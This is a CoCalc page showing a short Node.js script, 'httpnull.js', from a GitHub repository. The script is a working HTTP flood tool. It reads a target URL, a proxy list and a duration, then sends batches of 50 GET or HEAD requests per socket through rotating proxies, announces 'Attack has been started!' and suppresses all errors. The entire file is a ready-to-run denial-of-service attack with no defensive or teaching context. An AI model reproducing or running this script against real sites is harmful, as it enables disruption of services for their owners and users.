Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
kenne400k
GitHub Repository: kenne400k/22
Path: blob/main/httpnull.js
328 views
1
const EventEmitter = require('events');
2
const fs = require('fs');
3
const emitter = new EventEmitter();
4
emitter.setMaxListeners(Number.POSITIVE_INFINITY);
5
const url = require('url');
6
const proxies = fs.readFileSync(process.argv[3], 'utf-8').replace(/\r/g, '').split('\n');
7
var methods = ["GET", "HEAD"];
8
var target = process.argv[2];
9
var time = process.argv[4];
10
var host = url.parse(target).host;
11
var theproxy = 0;
12
var proxy = proxies[theproxy];
13
var int = setInterval(() => {
14
theproxy++;
15
if (theproxy == proxies.length - 1) { theproxy = 0; }
16
proxy = proxies[theproxy];
17
if (proxy && proxy.length > 5) { proxy = proxy.split(':'); } else { return false; }
18
var s = require('net').Socket();
19
s.connect(proxy[1], proxy[0]);
20
s.setTimeout(10000);
21
for (var i = 0; i < 50; i++) { s.write(methods[Math.floor(Math.random() * methods.length)] + ' ' + target + '/ HTTP/1.1\r\nHost: ' + host + '\r\nConnection: Close\r\n\r\n'); }
22
s.on('data', function () { setTimeout(function () { s.destroy(); return delete s; }, 5000); })
23
});
24
setTimeout(() => clearInterval(int), time * 1000);
25
console.log("Attack has been started!")
26
process.on('uncaughtException', function (err) { });
27
process.on('unhandledRejection', function (err) { });
28
29